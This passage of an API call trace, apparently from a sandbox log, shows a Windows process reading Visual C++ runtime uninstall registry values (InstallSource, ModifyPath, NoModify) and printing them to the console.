() returned 0x204bb0 [0149.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.229] _errno () returned 0x204bb0 [0149.229] GetFileType (hFile=0x50) returned 0x1 [0149.229] lstrlenW (lpString="InstallSource") returned 13 [0149.229] GetConsoleOutputCP () returned 0x1b5 [0149.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.229] GetConsoleOutputCP () returned 0x1b5 [0149.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0149.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.229] __iob_func () returned 0x7fefd702a80 [0149.229] _fileno (_File=0x7fefd702ab0) returned 1 [0149.229] _errno () returned 0x204bb0 [0149.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.229] _errno () returned 0x204bb0 [0149.229] GetFileType (hFile=0x50) returned 0x1 [0149.229] lstrlenW (lpString=" ") returned 4 [0149.229] GetConsoleOutputCP () returned 0x1b5 [0149.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.230] GetConsoleOutputCP () returned 0x1b5 [0149.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.230] __iob_func () returned 0x7fefd702a80 [0149.230] _fileno (_File=0x7fefd702ab0) returned 1 [0149.230] _errno () returned 0x204bb0 [0149.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.230] _errno () returned 0x204bb0 [0149.230] GetFileType (hFile=0x50) returned 0x1 [0149.230] lstrlenW (lpString="REG_SZ") returned 6 [0149.230] GetConsoleOutputCP () returned 0x1b5 [0149.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.230] GetConsoleOutputCP () returned 0x1b5 [0149.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.230] __iob_func () returned 0x7fefd702a80 [0149.230] _fileno (_File=0x7fefd702ab0) returned 1 [0149.230] _errno () returned 0x204bb0 [0149.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.230] _errno () returned 0x204bb0 [0149.230] GetFileType (hFile=0x50) returned 0x1 [0149.231] lstrlenW (lpString=" ") returned 4 [0149.231] GetConsoleOutputCP () returned 0x1b5 [0149.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.231] GetConsoleOutputCP () returned 0x1b5 [0149.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.231] __iob_func () returned 0x7fefd702a80 [0149.231] _fileno (_File=0x7fefd702ab0) returned 1 [0149.231] _errno () returned 0x204bb0 [0149.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.231] _errno () returned 0x204bb0 [0149.231] GetFileType (hFile=0x50) returned 0x1 [0149.231] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\") returned 109 [0149.231] GetConsoleOutputCP () returned 0x1b5 [0149.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\", cchWideChar=109, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 109 [0149.231] GetConsoleOutputCP () returned 0x1b5 [0149.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\", cchWideChar=109, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\", lpUsedDefaultChar=0x0) returned 109 [0149.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 109 [0149.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.232] __iob_func () returned 0x7fefd702a80 [0149.232] _fileno (_File=0x7fefd702ab0) returned 1 [0149.232] _errno () returned 0x204bb0 [0149.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.232] _errno () returned 0x204bb0 [0149.232] GetFileType (hFile=0x50) returned 0x1 [0149.232] lstrlenW (lpString="\n") returned 1 [0149.232] GetConsoleOutputCP () returned 0x1b5 [0149.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.232] GetConsoleOutputCP () returned 0x1b5 [0149.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.232] GetProcessHeap () returned 0x3c0000 [0149.232] GetProcessHeap () returned 0x3c0000 [0149.232] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.232] GetProcessHeap () returned 0x3c0000 [0149.232] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe0 [0149.232] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90 | out: hHeap=0x3c0000) returned 1 [0149.232] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.232] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.232] GetProcessHeap () returned 0x3c0000 [0149.232] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.232] GetProcessHeap () returned 0x3c0000 [0149.232] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.232] GetProcessHeap () returned 0x3c0000 [0149.232] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.232] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.233] __iob_func () returned 0x7fefd702a80 [0149.233] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.233] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.233] _fileno (_File=0x7fefd702ab0) returned 1 [0149.233] _errno () returned 0x204bb0 [0149.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.233] _errno () returned 0x204bb0 [0149.233] GetFileType (hFile=0x50) returned 0x1 [0149.233] lstrlenW (lpString=" ") returned 4 [0149.233] GetConsoleOutputCP () returned 0x1b5 [0149.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.233] GetConsoleOutputCP () returned 0x1b5 [0149.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.233] lstrlenW (lpString="ModifyPath") returned 10 [0149.233] __iob_func () returned 0x7fefd702a80 [0149.233] _fileno (_File=0x7fefd702ab0) returned 1 [0149.233] _errno () returned 0x204bb0 [0149.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.233] _errno () returned 0x204bb0 [0149.233] GetFileType (hFile=0x50) returned 0x1 [0149.233] lstrlenW (lpString="ModifyPath") returned 10 [0149.233] GetConsoleOutputCP () returned 0x1b5 [0149.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.234] GetConsoleOutputCP () returned 0x1b5 [0149.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0149.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.234] __iob_func () returned 0x7fefd702a80 [0149.234] _fileno (_File=0x7fefd702ab0) returned 1 [0149.234] _errno () returned 0x204bb0 [0149.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.234] _errno () returned 0x204bb0 [0149.234] GetFileType (hFile=0x50) returned 0x1 [0149.234] lstrlenW (lpString=" ") returned 4 [0149.234] GetConsoleOutputCP () returned 0x1b5 [0149.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.234] GetConsoleOutputCP () returned 0x1b5 [0149.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.234] __iob_func () returned 0x7fefd702a80 [0149.234] _fileno (_File=0x7fefd702ab0) returned 1 [0149.234] _errno () returned 0x204bb0 [0149.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.234] _errno () returned 0x204bb0 [0149.234] GetFileType (hFile=0x50) returned 0x1 [0149.235] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.235] GetConsoleOutputCP () returned 0x1b5 [0149.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.235] GetConsoleOutputCP () returned 0x1b5 [0149.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.235] __iob_func () returned 0x7fefd702a80 [0149.235] _fileno (_File=0x7fefd702ab0) returned 1 [0149.235] _errno () returned 0x204bb0 [0149.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.235] _errno () returned 0x204bb0 [0149.235] GetFileType (hFile=0x50) returned 0x1 [0149.235] lstrlenW (lpString=" ") returned 4 [0149.235] GetConsoleOutputCP () returned 0x1b5 [0149.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.235] GetConsoleOutputCP () returned 0x1b5 [0149.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.235] __iob_func () returned 0x7fefd702a80 [0149.236] _fileno (_File=0x7fefd702ab0) returned 1 [0149.236] _errno () returned 0x204bb0 [0149.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.236] _errno () returned 0x204bb0 [0149.236] GetFileType (hFile=0x50) returned 0x1 [0149.236] lstrlenW (lpString="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 52 [0149.236] GetConsoleOutputCP () returned 0x1b5 [0149.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.236] GetConsoleOutputCP () returned 0x1b5 [0149.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpUsedDefaultChar=0x0) returned 52 [0149.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.236] __iob_func () returned 0x7fefd702a80 [0149.236] _fileno (_File=0x7fefd702ab0) returned 1 [0149.236] _errno () returned 0x204bb0 [0149.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.236] _errno () returned 0x204bb0 [0149.236] GetFileType (hFile=0x50) returned 0x1 [0149.236] lstrlenW (lpString="\n") returned 1 [0149.236] GetConsoleOutputCP () returned 0x1b5 [0149.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.236] GetConsoleOutputCP () returned 0x1b5 [0149.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.237] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.237] GetProcessHeap () returned 0x3c0000 [0149.237] GetProcessHeap () returned 0x3c0000 [0149.237] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.237] GetProcessHeap () returned 0x3c0000 [0149.237] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.237] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.237] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.237] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.237] GetProcessHeap () returned 0x3c0000 [0149.237] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.237] GetProcessHeap () returned 0x3c0000 [0149.237] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.237] GetProcessHeap () returned 0x3c0000 [0149.237] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.237] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.237] __iob_func () returned 0x7fefd702a80 [0149.238] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.238] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.238] _fileno (_File=0x7fefd702ab0) returned 1 [0149.238] _errno () returned 0x204bb0 [0149.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.238] _errno () returned 0x204bb0 [0149.238] GetFileType (hFile=0x50) returned 0x1 [0149.238] lstrlenW (lpString=" ") returned 4 [0149.238] GetConsoleOutputCP () returned 0x1b5 [0149.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.238] GetConsoleOutputCP () returned 0x1b5 [0149.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.238] lstrlenW (lpString="NoModify") returned 8 [0149.238] __iob_func () returned 0x7fefd702a80 [0149.238] _fileno (_File=0x7fefd702ab0) returned 1 [0149.238] _errno () returned 0x204bb0 [0149.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.238] _errno () returned 0x204bb0 [0149.238] GetFileType (hFile=0x50) returned 0x1 [0149.238] lstrlenW (lpString="NoModify") returned 8 [0149.238] GetConsoleOutputCP () returned 0x1b5 [0149.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.239] GetConsoleOutputCP () returned 0x1b5 [0149.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.239] __iob_func () returned 0x7fefd702a80 [0149.239] _fileno (_File=0x7fefd702ab0) returned 1 [0149.239] _errno () returned 0x204bb0 [0149.239] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.239] _errno () returned 0x204bb0 [0149.239] GetFileType (hFile=0x50) returned 0x1 [0149.239] lstrlenW (lpString=" ") returned 4 [0149.239] GetConsoleOutputCP () returned 0x1b5 [0149.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.239] GetConsoleOutputCP () returned 0x1b5 [0149.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.239] __iob_func () returned 0x7fefd702a80 [0149.239] _fileno (_File=0x7fefd702ab0) returned 1 [0149.239] _errno () returned 0x204bb0 [0149.239] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.239] _errno () returned 0x204bb0 [0149.239] GetFileType (hFile=0x50) returned 0x1 [0149.239] lstrlenW (lpString="REG_DWORD") returned 9 [0149.239] GetConsoleOutputCP () returned 0x1b5 [0149.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.240] GetConsoleOutputCP () returned 0x1b5 [0149.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.240] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.240] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.240] __iob_func () returned 0x7fefd702a80 [0149.240] _fileno (_File=0x7fefd702ab0) returned 1 [0149.240] _errno () returned 0x204bb0 [0149.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.240] _errno () returned 0x204bb0 [0149.240] GetFileType (hFile=0x50) returned 0x1 [0149.240] lstrlenW (lpString=" ") returned 4 [0149.240] GetConsoleOutputCP () returned 0x1b5 [0149.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.240] GetConsoleOutputCP () returned 0x1b5 [0149.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.240] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.240] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.240] __iob_func () returned 0x7fefd702a80 [0149.240] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.240] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.240] _fileno (_File=0x7fefd702ab0) returned 1 [0149.241] _errno () returned 0x204bb0 [0149.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.241] _errno () returned 0x204bb0 [0149.241] GetFileType (hFile=0x50) returned 0x1 [0149.241] lstrlenW (lpString="0x1") returned 3 [0149.241] GetConsoleOutputCP () returned 0x1b5 [0149.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.241] GetConsoleOutputCP () returned 0x1b5 [0149.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.241] fprintf 